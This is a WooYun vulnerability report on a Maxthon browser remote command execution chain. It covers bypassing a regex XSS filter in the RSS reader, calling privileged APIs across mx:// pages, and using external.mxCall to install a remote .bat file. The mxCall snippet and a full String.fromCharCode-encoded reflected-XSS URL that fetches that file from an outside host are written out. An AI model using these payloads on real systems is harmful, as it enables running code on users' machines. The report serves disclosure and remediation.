漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-082227
漏洞标题:傲游浏览器远程命令执行漏洞二
相关厂商:傲游
漏洞作者: gainover
提交时间:2014-11-06 11:50
修复时间:2015-02-04 11:52
公开时间:2015-02-04 11:52
漏洞类型:远程代码执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向第三方安全合作伙伴开放
2014-12-31: 细节向核心白帽子及相关领域专家公开
2015-01-10: 细节向普通白帽子公开
2015-01-20: 细节向实习白帽子公开
2015-02-04: 细节向公众公开
简要描述:
上一个漏洞,厂商回复说,只报XSS就可以了,但是关键点显然不在于XSS,如果你们真的只是“针对性的”修了XSS,以你们现在的权限隔离机制,以及功能体验和安全防护间的“冲突”是很容易再次导致问题的。
详细说明:
本文的大前提:
假定真如厂商所回复的那样,只修复了上文中的XSS。
接着是本文:
--------------------------------------------------------------
0x01 获得特权域XSS
--------------------------------------------------------------
傲游浏览器有一个RSS reader的功能,其实前面的报告者已经用到过这个功能。
见: WooYun: 傲游云浏览器远程命令执行漏洞
在这个漏洞中,“浏览器在处理 xml 内容的时候对 title、description,没有过滤。添加后就会执行嵌入的代码。”,于是傲游对此做了修复措施,会对title和description做出过滤。
我们来看看傲游是如何过滤的呢?, 我们编写以下代码:
效果如下图所示:
可以看到,这里将 onerror 过滤成了 on_error,不难看出,这里的过滤并没有对 description做出“毁灭性”的过滤,即过滤 < 和 >;而是采用了富文本的过滤策略。
那么傲游是怎么过滤的呢?这种过滤机制,是在浏览器内置API进行的还是在JS里实现的呢?
通过对页面内JS代码的查看,我找到了以下内容:
可以看到傲游是在JS里通过正则表达式对内容进行过滤的,
我们的 onerror被过滤成 on_error是通过以下正则实现的:
以前测富文本过滤,都是“黑盒”去猜测,现在过滤的正则都摆在眼前了,而且只有这么几条正则,难道还绕不过?定睛几秒,就发现<iframe>标签都没被过滤,因此我们可以很容易实现XSS。
效果如下:
嗯,这样一来,我们就获得了一个特权域XSS,当我们访问http://192.168.1.13/mx/poc3.xml,傲游会自动跳向以下地址,并执行我们的XSS代码:
--------------------------------------------------------------
0x02 利用傲游的权限隔离设计缺陷,可实现跨域调用API
--------------------------------------------------------------
傲游对不同的页面,给予了不同的权限:
比如:
mx://res/notification/ 该路径下页面允许访问 maxthon.program
但是,
mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 路径下则不允许访问 maxthon.program
这种设计是有问题的,因为
两页页面的 protocol 都是 mx ,domain 都是 res,
所以两个页面是可以iframe嵌入后进行互相通信的,即,我们在 mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 页面通过iframe嵌入 mx://res/notification/ 后,即可通过 contentWindow.maxthon.program 来调用 program的API。
--------------------------------------------------------------
0x03 综上,调用计算器测试
--------------------------------------------------------------
结合以上分析,不难构建以下 xml 代码:
用户访问恶意构造的xml: http://xsst.sinaapp.com/test/mxpoc.xml, 效果如下图:
--------------------------------------------------------------
0x04 如果,你们不修 external.mxCall的话。。。。
--------------------------------------------------------------
那么就会有以下内容,找一个maxthon.cn域下的XSS,执行以下代码。
external.mxCall('InstallSkin', "http://xsst.sinaapp.com/test/mx.bat");
setTimeout(function(){
location.href='http://xsst.sinaapp.com/test/mxpocbat.xml';
},1000);
这里我GOOGLE搜索了到了一个(傲游没XSS过滤器啦,找个反射型还是比较容易的)用于演示:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada
漏洞证明:
访问以下页面, 观看计算器:
http://xsst.sinaapp.com/test/mxpoc.xml
访问以下页面,观看批处理:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada
修复方案:
1.修XSS (富文本过滤,黑名单不安全,尤其似乎你们的过滤代码还是摆在我们眼皮底下的时候,本文的iframe标签只是绕过方式之一)
2.不要只是修XSS
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-11-06 12:33
厂商回复:
感谢报告,希望继续支持傲游
最新状态:
2014-11-06:也很高兴大家能够关心傲游,不仅仅是从产品层面。